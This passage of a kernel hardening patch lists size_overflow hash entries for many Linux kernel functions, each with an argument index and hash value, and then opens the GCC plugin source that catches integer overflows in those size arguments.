++_003420_hash frame_alloc 4 15981 _003420_hash NULL
++_003421_hash framebuffer_alloc 1 59145 _003421_hash NULL
++_003422_hash ftrace_write 3 29551 _003422_hash NULL
++_003423_hash fw_download_code 3 13249 _003423_hash NULL
++_003424_hash fwSendNullPacket 2 54618 _003424_hash NULL
++_003425_hash gdm_wimax_netif_rx 3 43423 _003425_hash &_001810_hash
++_003426_hash get_vm_area 1 18080 _003426_hash NULL
++_003427_hash __get_vm_area 1 61599 _003427_hash NULL
++_003428_hash get_vm_area_caller 1 10527 _003428_hash NULL
++_003429_hash __get_vm_area_caller 1 56416 _003828_hash NULL nohasharray
++_003430_hash gspca_dev_probe2 4 59833 _003430_hash NULL
++_003431_hash hdpvr_read 3 9273 _003431_hash NULL
++_003432_hash hecubafb_write 3 26942 _003432_hash NULL
++_003433_hash i915_compat_ioctl 2 3656 _003433_hash NULL
++_003434_hash i915_gem_execbuffer_relocate_slow 7 25355 _003434_hash NULL
++_003435_hash ieee80211_alloc_txb 1-2 52477 _003435_hash NULL
++_003437_hash ieee80211_authentication_req 3 63973 _003437_hash NULL
++_003438_hash ieee80211_wx_set_gen_ie 3 51399 _003438_hash NULL
++_003439_hash ieee80211_wx_set_gen_ie_rsl 3 3521 _003458_hash NULL nohasharray
++_003440_hash intel_sdvo_set_value 4 2311 _003440_hash NULL
++_003441_hash ir_lirc_transmit_ir 3 64403 _003441_hash NULL
++_003442_hash irq_blk_threshold_read 3 33666 _003442_hash NULL
++_003443_hash irq_pkt_threshold_read 3 33356 _003443_hash &_000154_hash
++_003444_hash irq_timeout_read 3 54653 _003444_hash NULL
++_003445_hash ivtv_buf_copy_from_user 4 25502 _003445_hash NULL
++_003446_hash ivtv_copy_buf_to_user 4 6159 _003446_hash NULL
++_003447_hash ivtvfb_write 3 40023 _003447_hash NULL
++_003448_hash kgdb_hex2mem 3 24755 _003448_hash NULL
++_003449_hash lirc_buffer_init 2-3 53282 _003449_hash NULL
++_003451_hash lirc_write 3 20604 _003451_hash NULL
++_003452_hash mce_request_packet 3 1073 _003452_hash NULL
++_003453_hash media_entity_init 2-4 15870 _003453_hash &_001742_hash
++_003455_hash mem_fw_gen_free_mem_blks_read 3 11413 _003455_hash NULL
++_003456_hash mem_fwlog_free_mem_blks_read 3 59616 _003456_hash NULL
++_003457_hash mem_rx_free_mem_blks_read 3 675 _003457_hash NULL
++_003458_hash mem_tx_free_mem_blks_read 3 3521 _003458_hash &_003439_hash
++_003459_hash metronomefb_write 3 8823 _003459_hash NULL
++_003460_hash mga_compat_ioctl 2 52170 _003460_hash NULL
++_003461_hash mmio_read 4 40348 _003461_hash NULL
++_003462_hash netlink_send 5 38434 _003462_hash NULL
++_003463_hash nfc_hci_execute_cmd 5 43882 _003463_hash NULL
++_003464_hash nfc_hci_send_event 5 21452 _003464_hash NULL
++_003465_hash nfc_hci_send_response 5 56462 _003465_hash NULL
++_003466_hash ni_gpct_device_construct 5 610 _003466_hash NULL
++_003467_hash nouveau_compat_ioctl 2 28305 _003467_hash NULL
++_003468_hash odev_update 2 50169 _003468_hash NULL
++_003469_hash opera1_usb_i2c_msgxfer 4 64521 _003469_hash NULL
++_003470_hash OSDSetBlock 2-4 38986 _003470_hash NULL
++_003472_hash oz_add_farewell 5 20652 _003472_hash NULL
++_003473_hash oz_cdev_read 3 20659 _003473_hash NULL
++_003474_hash oz_cdev_write 3 33852 _003474_hash NULL
++_003475_hash oz_ep_alloc 2 5587 _003475_hash NULL
++_003476_hash oz_events_read 3 47535 _003476_hash NULL
++_003477_hash persistent_ram_buffer_map 1-2 11332 _003477_hash NULL
++_003479_hash pipeline_cs_rx_packet_in_read 3 37089 _003479_hash NULL
++_003480_hash pipeline_cs_rx_packet_out_read 3 58926 _003480_hash NULL
++_003481_hash pipeline_csum_to_rx_xfer_swi_read 3 15403 _003481_hash NULL
++_003482_hash pipeline_dec_packet_in_fifo_full_read 3 33052 _003482_hash NULL
++_003483_hash pipeline_dec_packet_in_read 3 47076 _003483_hash NULL
++_003484_hash pipeline_dec_packet_out_read 3 54052 _003484_hash NULL
++_003485_hash pipeline_defrag_to_csum_swi_read 3 63037 _003485_hash NULL
++_003486_hash pipeline_enc_rx_stat_fifo_int_read 3 7107 _003486_hash NULL
++_003487_hash pipeline_enc_tx_stat_fifo_int_read 3 14680 _003487_hash NULL
++_003488_hash pipeline_hs_tx_stat_fifo_int_read 3 15642 _003488_hash &_001260_hash
++_003489_hash pipeline_pipeline_fifo_full_read 3 34095 _003489_hash NULL
++_003490_hash pipeline_post_proc_swi_read 3 24108 _003490_hash NULL
++_003491_hash pipeline_pre_proc_swi_read 3 3898 _003491_hash NULL
++_003492_hash pipeline_pre_to_defrag_swi_read 3 56321 _003492_hash NULL
++_003493_hash pipeline_rx_complete_stat_fifo_int_read 3 40671 _003493_hash NULL
++_003494_hash pipeline_sec_frag_swi_read 3 30294 _003494_hash NULL
++_003495_hash pipeline_tcp_rx_stat_fifo_int_read 3 26745 _003495_hash NULL
++_003496_hash pipeline_tcp_tx_stat_fifo_int_read 3 32589 _003496_hash NULL
++_003497_hash play_iframe 3 8219 _003497_hash NULL
++_003498_hash probes_write 3 29711 _003498_hash NULL
++_003499_hash psb_unlocked_ioctl 2 16926 _003499_hash &_002668_hash
++_003500_hash ps_poll_ps_poll_max_ap_turn_read 3 53140 _003500_hash NULL
++_003501_hash ps_poll_ps_poll_timeouts_read 3 5934 _003501_hash NULL
++_003502_hash ps_poll_ps_poll_utilization_read 3 39383 _003502_hash NULL
++_003503_hash ps_poll_upsd_max_ap_turn_read 3 42050 _003503_hash NULL
++_003504_hash ps_poll_upsd_timeouts_read 3 36755 _003504_hash NULL
++_003505_hash ps_poll_upsd_utilization_read 3 28519 _003505_hash NULL
++_003506_hash pvr2_ioread_read 3 10720 _003506_hash &_001669_hash
++_003507_hash pvr2_ioread_set_sync_key 3 59882 _003507_hash NULL
++_003508_hash pvr2_stream_buffer_count 2 33719 _003508_hash NULL
++_003509_hash pwr_connection_out_of_sync_read 3 35061 _003509_hash NULL
++_003510_hash pwr_cont_miss_bcns_spread_read 3 39250 _003515_hash NULL nohasharray
++_003511_hash pwr_missing_bcns_cnt_read 3 45113 _003511_hash NULL
++_003512_hash pwr_rcvd_awake_bcns_cnt_read 3 12632 _003512_hash NULL
++_003513_hash pwr_rcvd_bcns_cnt_read 3 4774 _003513_hash NULL
++_003514_hash qc_capture 3 19298 _003514_hash NULL
++_003515_hash r128_compat_ioctl 2 39250 _003515_hash &_003510_hash
++_003516_hash radeon_compat_ioctl 2 59150 _003516_hash NULL
++_003517_hash radeon_kms_compat_ioctl 2 51371 _003517_hash NULL
++_003518_hash Realloc 2 34961 _003518_hash NULL
++_003519_hash redrat3_transmit_ir 3 64244 _003519_hash NULL
++_003520_hash reg_w_buf 3 27724 _003520_hash NULL
++_003521_hash reg_w_ixbuf 4 34736 _003521_hash NULL
++_003522_hash rtllib_alloc_txb 1-2 21687 _003522_hash NULL
++_003524_hash rtllib_authentication_req 3 26713 _003524_hash NULL
++_003525_hash rtllib_wx_set_gen_ie 3 59808 _003525_hash NULL
++_003526_hash rts51x_transfer_data_partial 6 5735 _003526_hash NULL
++_003527_hash rvmalloc 1 46873 _003527_hash NULL
++_003528_hash rx_decrypt_key_not_found_read 3 37820 _003528_hash NULL
++_003529_hash rx_defrag_called_read 3 1897 _003529_hash NULL
++_003530_hash rx_defrag_decrypt_failed_read 3 41411 _003530_hash NULL
++_003531_hash rx_defrag_init_called_read 3 35935 _003531_hash NULL
++_003532_hash rx_defrag_in_process_called_read 3 59338 _003532_hash NULL
++_003533_hash rx_defrag_need_decrypt_read 3 42253 _003533_hash NULL
++_003534_hash rx_defrag_need_defrag_read 3 28117 _003534_hash NULL
++_003535_hash rx_defrag_tkip_called_read 3 21031 _003535_hash NULL
++_003536_hash rx_filter_accum_arp_pend_requests_read 3 11003 _003536_hash NULL
++_003537_hash rx_filter_arp_filter_read 3 61914 _003537_hash NULL
++_003538_hash rx_filter_beacon_filter_read 3 49279 _003538_hash NULL
++_003539_hash rx_filter_data_filter_read 3 30098 _003539_hash NULL
++_003540_hash rx_filter_dup_filter_read 3 37238 _003540_hash NULL
++_003541_hash rx_filter_ibss_filter_read 3 50167 _003541_hash NULL
++_003542_hash rx_filter_max_arp_queue_dep_read 3 5851 _003542_hash NULL
++_003543_hash rx_filter_mc_filter_read 3 25712 _003543_hash NULL
++_003544_hash rx_filter_protection_filter_read 3 39282 _003544_hash NULL
++_003545_hash rx_rate_rx_frames_per_rates_read 3 7282 _003545_hash NULL
++_003546_hash rx_rx_beacon_early_term_read 3 21559 _003546_hash NULL
++_003547_hash rx_rx_checksum_result_read 3 50617 _003547_hash NULL
++_003548_hash rx_rx_cmplt_read 3 14753 _003548_hash NULL
++_003549_hash rx_rx_cmplt_task_read 3 35226 _003549_hash NULL
++_003550_hash rx_rx_defrag_end_read 3 505 _003550_hash NULL
++_003551_hash rx_rx_defrag_read 3 2010 _003551_hash NULL
++_003552_hash rx_rx_done_read 3 65217 _003552_hash NULL
++_003553_hash rx_rx_dropped_frame_read 3 23748 _003553_hash NULL
++_003554_hash rx_rx_frame_checksum_read 3 40140 _003554_hash NULL
++_003555_hash rx_rx_hdr_overflow_read 3 35002 _003555_hash NULL
++_003556_hash rx_rx_out_of_mpdu_nodes_read 3 64668 _003556_hash NULL
++_003557_hash rx_rx_phy_hdr_read 3 20950 _003557_hash NULL
++_003558_hash rx_rx_pre_complt_read 3 41653 _003558_hash NULL
++_003559_hash rx_rx_timeout_read 3 62389 _003559_hash NULL
++_003560_hash rx_rx_timeout_wa_read 3 50204 _003560_hash NULL
++_003561_hash rx_rx_tkip_replays_read 3 60193 _003561_hash NULL
++_003562_hash rx_rx_wa_ba_not_expected_read 3 61341 _003562_hash NULL
++_003563_hash rx_rx_wa_density_dropped_frame_read 3 26095 _003563_hash NULL
++_003564_hash rx_streaming_always_read 3 49401 _003564_hash NULL
++_003565_hash rx_streaming_interval_read 3 55291 _003565_hash NULL
++_003566_hash saa7164_buffer_alloc_user 2 9627 _003566_hash NULL
++_003567_hash send_control_msg 6 48498 _003567_hash NULL
++_003568_hash SendTxCommandPacket 3 42901 _003568_hash NULL
++_003569_hash setup_window 2-7-5-4 59178 _003569_hash NULL
++_003573_hash shmem_pwrite_fast 3 46842 _003573_hash NULL
++_003574_hash sleep_auth_read 3 19159 _003574_hash NULL
++_003575_hash sn9c102_read 3 29305 _003575_hash NULL
++_003576_hash snd_pcm_alloc_vmalloc_buffer 2 44595 _003576_hash NULL
++_003577_hash split_scan_timeout_read 3 20029 _003577_hash NULL
++_003578_hash stk_prepare_sio_buffers 2 57168 _003578_hash NULL
++_003579_hash store_debug_level 3 35652 _003579_hash NULL
++_003580_hash suspend_dtim_interval_read 3 64971 _003580_hash NULL
++_003581_hash sys_prctl 4 8766 _003581_hash NULL
++_003582_hash tm6000_read_write_usb 7 50774 _003582_hash &_002149_hash
++_003583_hash tracing_read_pipe 3 35312 _003583_hash NULL
++_003584_hash ts_read 3 44687 _003584_hash NULL
++_003585_hash ts_write 3 64336 _003585_hash NULL
++_003586_hash tt3650_ci_msg 4 57219 _003586_hash NULL
++_003587_hash ttm_object_device_init 2 10321 _003587_hash NULL
++_003588_hash ttm_object_file_init 2 27804 _003588_hash NULL
++_003589_hash tx_frag_bad_mblk_num_read 3 28064 _003589_hash NULL
++_003590_hash tx_frag_cache_hit_read 3 29639 _003590_hash NULL
++_003591_hash tx_frag_cache_miss_read 3 28394 _003591_hash NULL
++_003592_hash tx_frag_called_read 3 1748 _003592_hash NULL
++_003593_hash tx_frag_failed_read 3 43540 _003593_hash NULL
++_003594_hash tx_frag_init_called_read 3 48377 _003594_hash NULL
++_003595_hash tx_frag_in_process_called_read 3 1290 _003595_hash NULL
++_003596_hash tx_frag_key_not_found_read 3 22971 _003596_hash NULL
++_003597_hash tx_frag_mpdu_alloc_failed_read 3 41167 _003597_hash NULL
++_003598_hash tx_frag_need_fragmentation_read 3 50153 _003598_hash NULL
++_003599_hash tx_frag_tkip_called_read 3 31575 _003599_hash NULL
++_003600_hash tx_tx_burst_programmed_read 3 20320 _003600_hash NULL
++_003601_hash tx_tx_checksum_result_read 3 36490 _003601_hash &_001996_hash
++_003602_hash tx_tx_cmplt_read 3 35854 _003602_hash NULL
++_003603_hash tx_tx_data_prepared_read 3 43497 _003603_hash NULL
++_003604_hash tx_tx_data_programmed_read 3 36871 _003604_hash NULL
++_003605_hash tx_tx_done_data_read 3 6799 _003605_hash NULL
++_003606_hash tx_tx_done_int_template_read 3 55511 _003606_hash &_001887_hash
++_003607_hash tx_tx_done_template_read 3 35104 _003607_hash &_000106_hash
++_003608_hash tx_tx_exch_expiry_read 3 8749 _003608_hash NULL
++_003609_hash tx_tx_exch_pending_read 3 53018 _003609_hash NULL
++_003610_hash tx_tx_exch_read 3 52986 _003610_hash NULL
++_003611_hash tx_tx_frame_checksum_read 3 41553 _003611_hash NULL
++_003612_hash tx_tx_imm_resp_read 3 55964 _003612_hash NULL
++_003613_hash tx_tx_prepared_descs_read 3 9221 _003613_hash NULL
++_003614_hash tx_tx_retry_data_read 3 1926 _003614_hash NULL
++_003615_hash tx_tx_retry_template_read 3 57623 _003615_hash NULL
++_003616_hash tx_tx_start_data_read 3 53219 _003616_hash NULL
++_003617_hash tx_tx_start_fw_gen_read 3 58648 _003617_hash NULL
++_003618_hash tx_tx_start_int_templates_read 3 58324 _003618_hash NULL
++_003619_hash tx_tx_start_null_frame_read 3 6281 _003619_hash NULL
++_003620_hash tx_tx_starts_read 3 3617 _003620_hash NULL
++_003621_hash tx_tx_start_templates_read 3 17164 _003621_hash NULL
++_003622_hash tx_tx_template_prepared_read 3 30424 _003622_hash NULL
++_003623_hash tx_tx_template_programmed_read 3 30461 _003623_hash NULL
++_003624_hash udi_log_event 3 58105 _003624_hash NULL
++_003625_hash udl_prime_create 2 57159 _003625_hash NULL
++_003626_hash uf_create_device_nodes 2 24948 _003626_hash NULL
++_003627_hash uf_sme_queue_message 3 15697 _003627_hash NULL
++_003628_hash ufx_alloc_urb_list 3 10349 _003628_hash NULL
++_003629_hash unifi_net_data_malloc 3 24716 _003629_hash NULL
++_003630_hash unifi_read 3 14899 _003630_hash NULL
++_003631_hash unifi_write 3 65012 _003631_hash NULL
++_003632_hash usb_buffer_alloc 2 36276 _003632_hash NULL
++_003633_hash usbvision_rvmalloc 1 19655 _003633_hash NULL
++_003634_hash usbvision_v4l2_read 3 34386 _003634_hash NULL
++_003635_hash uvc_alloc_buffers 2-3 9656 _003635_hash NULL
++_003637_hash uvc_alloc_entity 3-4 20836 _003637_hash NULL
++_003639_hash uvc_debugfs_stats_read 3 56651 _003639_hash NULL
++_003640_hash uvc_simplify_fraction 3 31303 _003640_hash NULL
++_003641_hash v4l2_ctrl_new 7 24927 _003641_hash NULL
++_003642_hash v4l2_event_subscribe 3 53687 _003642_hash NULL
++_003643_hash v4l_stk_read 3 39672 _003643_hash NULL
++_003644_hash __vb2_perform_fileio 3 63033 _003644_hash NULL
++_003645_hash vfd_write 3 14717 _003645_hash NULL
++_003646_hash vfio_config_do_rw 3 46091 _003646_hash NULL
++_003647_hash vfio_msi_enable 2 20906 _003647_hash NULL
++_003648_hash viafb_dvp0_proc_write 3 23023 _003648_hash NULL
++_003649_hash viafb_dvp1_proc_write 3 48864 _003649_hash NULL
++_003650_hash viafb_vt1636_proc_write 3 16018 _003650_hash NULL
++_003651_hash __videobuf_alloc_vb 1 27062 _003651_hash NULL
++_003652_hash __videobuf_alloc_vb 1 5665 _003652_hash NULL
++_003653_hash __videobuf_copy_to_user 4 15423 _003653_hash NULL
++_003654_hash videobuf_dma_init_kernel 3 6963 _003654_hash NULL
++_003655_hash videobuf_pages_to_sg 2 3708 _003655_hash NULL
++_003656_hash videobuf_vmalloc_to_sg 2 4548 _003656_hash NULL
++_003657_hash video_usercopy 2 62151 _003657_hash NULL
++_003658_hash virtscsi_alloc_tgt 2 6643 _003658_hash NULL
++_003659_hash vmw_cursor_update_image 3-4 16332 _003659_hash NULL
++_003661_hash vmw_framebuffer_dmabuf_dirty 6 37661 _003661_hash &_001116_hash
++_003662_hash vmw_framebuffer_surface_dirty 6 48132 _003662_hash NULL
++_003663_hash vmw_gmr2_bind 3 21305 _003663_hash NULL
++_003664_hash vmw_unlocked_ioctl 2 19212 _003664_hash NULL
++_003665_hash w9966_v4l_read 3 31148 _003665_hash NULL
++_003666_hash wl1273_fm_fops_write 3 60621 _003666_hash NULL
++_003667_hash zoran_write 3 22404 _003667_hash NULL
++_003668_hash alloc_vm_area 1 15989 _003668_hash NULL
++_003669_hash cx18_copy_mdl_to_user 4 45549 _003669_hash NULL
++_003670_hash dlfb_ops_write 3 64150 _003670_hash NULL
++_003671_hash dvb_demux_read 3 13981 _003671_hash NULL
++_003672_hash dvb_dmxdev_read_sec 4 7892 _003672_hash NULL
++_003673_hash dvb_dvr_read 3 17073 _003673_hash NULL
++_003674_hash em28xx_init_isoc 4 62883 _003674_hash &_000729_hash
++_003675_hash fb_alloc_cmap 2 6554 _003675_hash NULL
++_003676_hash gspca_dev_probe 4 2570 _003676_hash NULL
++_003677_hash ieee80211_auth_challenge 3 18810 _003677_hash NULL
++_003678_hash ieee80211_rtl_auth_challenge 3 61897 _003678_hash NULL
++_003679_hash init_pci_cap_msi_perm 2 59033 _003679_hash NULL
++_003680_hash __ioremap_caller 1-2 21800 _003680_hash NULL
++_003682_hash ivtv_read 3 57796 _003682_hash NULL
++_003683_hash ivtv_v4l2_write 3 39226 _003683_hash NULL
++_003684_hash mce_async_out 3 58056 _003684_hash NULL
++_003685_hash mce_flush_rx_buffer 2 14976 _003685_hash NULL
++_003686_hash ms_read_multiple_pages 4-5 8052 _003686_hash NULL
++_003688_hash ms_write_multiple_pages 5-6 10362 _003688_hash NULL
++_003690_hash nfc_hci_send_cmd 5 55714 _003690_hash NULL
++_003691_hash persistent_ram_new 1-2 40501 _003691_hash NULL
++_003693_hash picolcd_fb_write 3 2318 _003693_hash NULL
++_003694_hash process_bulk_data_command 4 38906 _003694_hash NULL
++_003695_hash pvr2_v4l2_read 3 18006 _003695_hash NULL
++_003696_hash qcam_read 3 13977 _003696_hash NULL
++_003697_hash register_unifi_sdio 2 55239 _003697_hash NULL
++_003698_hash resize_async_buffer 4 64031 _003698_hash &_002431_hash
++_003699_hash rtllib_auth_challenge 3 12493 _003699_hash NULL
++_003702_hash stk_allocate_buffers 2 16291 _003702_hash NULL
++_003703_hash subdev_ioctl 2 28417 _003703_hash NULL
++_003704_hash _sys_packet_req 4 46793 _003704_hash NULL
++_003705_hash tm6000_i2c_recv_regs16 5 2949 _003705_hash NULL
++_003706_hash tm6000_i2c_recv_regs 5 46215 _003706_hash NULL
++_003707_hash tm6000_i2c_send_regs 5 20250 _003707_hash NULL
++_003708_hash tt3650_ci_msg_locked 4 8013 _003708_hash NULL
++_003709_hash ufx_ops_write 3 54848 _003709_hash NULL
++_003710_hash update_macheader 7 1775 _003710_hash NULL
++_003711_hash usbdux_attach_common 4 51764 _003750_hash NULL nohasharray
++_003712_hash usbduxfast_attach_common 4 52538 _003712_hash NULL
++_003713_hash usbduxsigma_attach_common 4 40847 _003713_hash NULL
++_003714_hash uvc_v4l2_ioctl 2 8411 _003714_hash NULL
++_003715_hash v4l2_ctrl_new_int_menu 4 41151 _003715_hash NULL
++_003716_hash v4l2_ctrl_new_std 5 45748 _003716_hash &_000497_hash
++_003717_hash v4l2_ctrl_new_std_menu 4 6221 _003717_hash NULL
++_003718_hash vb2_read 3 42703 _003718_hash NULL
++_003719_hash vb2_write 3 31948 _003719_hash NULL
++_003720_hash vfio_pci_set_msi_trigger 3-4 26507 _003720_hash NULL
++_003722_hash viafb_iga1_odev_proc_write 3 36241 _003722_hash NULL
++_003723_hash viafb_iga2_odev_proc_write 3 2363 _003723_hash NULL
++_003724_hash __videobuf_alloc_cached 1 12740 _003724_hash NULL
++_003725_hash __videobuf_alloc_uncached 1 55711 _003725_hash NULL
++_003726_hash __videobuf_copy_stream 4 44769 _003726_hash NULL
++_003727_hash videobuf_read_one 3 31637 _003727_hash NULL
++_003728_hash video_ioctl2 2 21380 _003728_hash NULL
++_003729_hash vmap 2 15025 _003729_hash NULL
++_003730_hash vmw_cursor_update_dmabuf 3-4 32045 _003730_hash NULL
++_003732_hash vmw_gmr_bind 3 44130 _003732_hash NULL
++_003733_hash xd_read_multiple_pages 4-5 11422 _003733_hash NULL
++_003735_hash xd_write_multiple_pages 5-6 53633 _003735_hash NULL
++_003737_hash xenfb_write 3 43412 _003737_hash NULL
++_003738_hash arch_gnttab_map_shared 3 41306 _003738_hash NULL
++_003739_hash arch_gnttab_map_status 3 49812 _003739_hash NULL
++_003740_hash bttv_read 3 11432 _003740_hash NULL
++_003741_hash cx18_read 3 23699 _003741_hash NULL
++_003742_hash cx2341x_ctrl_new_menu 3 49700 _003742_hash NULL
++_003743_hash cx2341x_ctrl_new_std 4 57061 _003743_hash NULL
++_003744_hash cx25821_video_ioctl 2 30188 _003744_hash NULL
++_003745_hash dt3155_read 3 59226 _003745_hash NULL
++_003746_hash ioremap_cache 1-2 47189 _003746_hash NULL
++_003748_hash ioremap_nocache 1-2 2439 _003748_hash NULL
++_003750_hash ioremap_prot 1-2 51764 _003750_hash &_003711_hash
++_003752_hash ioremap_wc 1-2 62695 _003752_hash NULL
++_003754_hash ivtv_read_pos 3 34400 _003754_hash &_000312_hash
++_003755_hash mcam_v4l_read 3 36513 _003755_hash NULL
++_003756_hash ms_rw_multi_sector 3-4 7459 _003756_hash NULL
++_003758_hash pvr2_v4l2_ioctl 2 24398 _003758_hash &_000877_hash
++_003759_hash ramoops_init_prz 5 12134 _003759_hash NULL
++_003761_hash ttm_bo_kmap_ttm 3 5922 _003761_hash NULL
++_003762_hash uf_ap_process_data_pdu 7 25860 _003762_hash NULL
++_003763_hash vb2_fop_read 3 24080 _003763_hash NULL
++_003764_hash vb2_fop_write 3 30420 _003764_hash NULL
++_003765_hash videobuf_read_stream 3 14956 _003765_hash NULL
++_003766_hash video_read 3 28148 _003766_hash NULL
++_003767_hash vmw_du_crtc_cursor_set 4-5 28479 _003767_hash NULL
++_003769_hash xd_rw 3-4 49020 _003769_hash NULL
++_003771_hash zoran_ioctl 2 30465 _003771_hash NULL
++_003772_hash zr364xx_read 3 2354 _003772_hash NULL
++_003773_hash acpi_os_ioremap 1-2 49523 _003773_hash NULL
++_003775_hash au0828_v4l2_read 3 40220 _003775_hash NULL
++_003776_hash ca91cx42_alloc_resource 2 10502 _003776_hash NULL
++_003778_hash cx18_read_pos 3 4683 _003778_hash NULL
++_003779_hash cx18_v4l2_read 3 21196 _003779_hash NULL
++_003780_hash cx231xx_v4l2_read 3 55014 _003780_hash NULL
++_003781_hash devm_ioremap_nocache 2-3 2036 _003781_hash NULL
++_003783_hash do_test 1 15766 _003783_hash NULL
++_003784_hash __einj_error_trigger 1 17707 _003784_hash &_001764_hash
++_003785_hash em28xx_v4l2_read 3 16701 _003785_hash NULL
++_003786_hash init_chip_wc_pat 2 62768 _003786_hash NULL
++_003787_hash intel_render_ring_init_dri 2-3 45446 _003787_hash NULL
++_003789_hash io_mapping_create_wc 1-2 1354 _003789_hash NULL
++_003791_hash iommu_map_mmio_space 1 30919 _003791_hash NULL
++_003792_hash ioremap 1-2 23172 _003792_hash NULL
++_003794_hash ivtv_v4l2_read 3 1964 _003794_hash NULL
++_003795_hash mga_ioremap 1-2 8571 _003795_hash NULL
++_003797_hash mpeg_read 3 6708 _003797_hash NULL
++_003798_hash msix_map_region 3 3411 _003798_hash NULL
++_003799_hash ms_rw 3-4 17220 _003799_hash NULL
++_003801_hash pci_iomap 3 47575 _003801_hash NULL
++_003802_hash pd_video_read 3 24510 _003802_hash NULL
++_003803_hash sfi_map_memory 1-2 5183 _003803_hash NULL
++_003805_hash solo_enc_read 3 33553 _003805_hash NULL
++_003806_hash solo_v4l2_read 3 59247 _003806_hash NULL
++_003807_hash timblogiw_read 3 48305 _003807_hash NULL
++_003808_hash tm6000_read 3 4151 _003808_hash NULL
++_003809_hash tsi148_alloc_resource 2 24563 _003809_hash NULL
++_003810_hash ttm_bo_ioremap 2-3 31082 _003810_hash NULL
++_003812_hash ttm_bo_kmap 3-2 60118 _003812_hash NULL
++_003813_hash vb2_vmalloc_get_userptr 3 31374 _003813_hash NULL
++_003814_hash vbi_read 3 63673 _003814_hash NULL
++_003815_hash viacam_read 3 54526 _003815_hash NULL
++_003816_hash xlate_dev_mem_ptr 1 15291 _003816_hash &_001231_hash
++_003817_hash a4t_cs_init 3 27734 _003817_hash NULL
++_003818_hash aac_nark_ioremap 2 50163 _003818_hash &_000323_hash
++_003819_hash aac_rkt_ioremap 2 3333 _003819_hash NULL
++_003820_hash aac_rx_ioremap 2 52410 _003820_hash NULL
++_003821_hash aac_sa_ioremap 2 13596 _003821_hash &_000299_hash
++_003822_hash aac_src_ioremap 2 41688 _003822_hash NULL
++_003823_hash aac_srcv_ioremap 2 6659 _003823_hash NULL
++_003824_hash acpi_map 1-2 58725 _003824_hash NULL
++_003826_hash acpi_os_read_memory 1-3 54186 _003826_hash NULL
++_003828_hash acpi_os_write_memory 1-3 56416 _003828_hash &_003429_hash
++_003830_hash atyfb_setup_generic 3 49151 _003830_hash NULL
++_003831_hash ca91cx42_master_set 4 23146 _003831_hash NULL
++_003832_hash check_mirror 1-2 57342 _003832_hash &_001753_hash
++_003834_hash cycx_setup 4 47562 _003834_hash NULL
++_003835_hash devm_ioremap 2-3 29235 _003835_hash NULL
++_003837_hash divasa_remap_pci_bar 3-4 23485 _003837_hash &_000979_hash
++_003839_hash doc_probe 1 23285 _003839_hash NULL
++_003840_hash DoC_Probe 1 57534 _003840_hash NULL
++_003841_hash efi_ioremap 1-2 3492 _003841_hash &_001137_hash
++_003843_hash ems_pcmcia_add_card 2 62627 _003843_hash NULL
++_003844_hash isp1760_register 1-2 628 _003844_hash NULL
++_003846_hash mid_get_vbt_data_r0 2 10876 _003846_hash NULL
++_003847_hash mid_get_vbt_data_r10 2 6308 _003847_hash NULL
++_003848_hash mid_get_vbt_data_r1 2 26170 _003848_hash NULL
++_003849_hash mthca_map_reg 2-3 5664 _003849_hash NULL
++_003851_hash mthca_setup_cmd_doorbells 2 53954 _003851_hash NULL
++_003852_hash netxen_nic_map_indirect_address_128M 2 42257 _003852_hash NULL
++_003853_hash pcim_iomap 3 58334 _003853_hash NULL
++_003854_hash persistent_ram_iomap 1-2 47156 _003854_hash NULL
++_003856_hash read_vbt_r0 1 503 _003856_hash NULL
++_003857_hash read_vbt_r10 1 60679 _003857_hash NULL
++_003858_hash register_device 2-3 60015 _003858_hash NULL
++_003860_hash remap_pci_mem 1-2 15966 _003860_hash NULL
++_003862_hash rtl_port_map 1-2 2385 _003862_hash NULL
++_003864_hash sfi_map_table 1 5462 _003864_hash NULL
++_003865_hash sriov_enable_migration 2 14889 _003865_hash NULL
++_003866_hash ssb_bus_scan 2 36578 _003866_hash NULL
++_003867_hash ssb_ioremap 2 5228 _003867_hash NULL
++_003868_hash tpci200_slot_map_space 2 3848 _003868_hash NULL
++_003869_hash tpm_tis_init 2-3 15304 _003869_hash NULL
++_003871_hash tsi148_master_set 4 14685 _003871_hash NULL
++_003872_hash acpi_os_map_memory 1-2 11161 _003872_hash NULL
++_003874_hash com90xx_found 3 13974 _003874_hash NULL
++_003875_hash netxen_nic_hw_read_wx_128M 2 26858 _003875_hash NULL
++_003876_hash netxen_nic_hw_write_wx_128M 2 33488 _003876_hash NULL
++_003877_hash sfi_check_table 1 6772 _003877_hash NULL
++_003878_hash sfi_sysfs_install_table 1 51688 _003878_hash NULL
++_003879_hash sriov_enable 2 59689 _003879_hash NULL
++_003880_hash ssb_bus_register 3 65183 _003880_hash NULL
++_003881_hash acpi_ex_system_memory_space_handler 2 31192 _003881_hash NULL
++_003882_hash acpi_tb_check_xsdt 1 21862 _003882_hash NULL
++_003883_hash acpi_tb_install_table 1 12988 _003883_hash NULL
++_003884_hash acpi_tb_parse_root_table 1 53455 _003884_hash NULL
++_003885_hash check_vendor_extension 1 3254 _003885_hash NULL
++_003886_hash pci_enable_sriov 2 35745 _003886_hash NULL
++_003887_hash ssb_bus_pcmciabus_register 3 56020 _003887_hash NULL
++_003888_hash ssb_bus_ssbbus_register 2 2217 _003888_hash NULL
++_003889_hash lpfc_sli_probe_sriov_nr_virtfn 2 26004 _003889_hash NULL
++_003890_hash alloc_vm_area 1 36149 _003890_hash NULL
++_003891_hash cma_create_area 2 38642 _003891_hash NULL
++_003893_hash fbcon_prepare_logo 5 6246 _003893_hash NULL
++_003894_hash io_mapping_map_wc 2 19284 _003894_hash NULL
++_003895_hash nfs_dns_resolve_name 3 25036 _003895_hash NULL
++_003896_hash nfs_parse_server_name 2 1899 _003896_hash NULL
+--- tools/gcc/size_overflow_plugin.c	1970-01-01 00:00:00.000000000 +0000
++++ tools/gcc/size_overflow_plugin.c	2012-10-15 17:30:59.835924531 +0000
+@@ -0,0 +1,1879 @@
++/*
++ * Copyright 2011, 2012 by Emese Revfy <re.emese@gmail.com>
++ * Licensed under the GPL v2, or (at your option) v3
++ *
++ * Homepage:
++ * http://www.grsecurity.net/~ephox/overflow_plugin/
++ *
++ * This plugin recomputes expressions of function arguments marked by a size_overflow attribute
++ * with double integer precision (DImode/TImode for 32/64 bit integer types).
++ * The recomputed argument is checked against TYPE_MAX and an event is logged on overflow and the triggering process is killed.
++ *
++ * Usage:
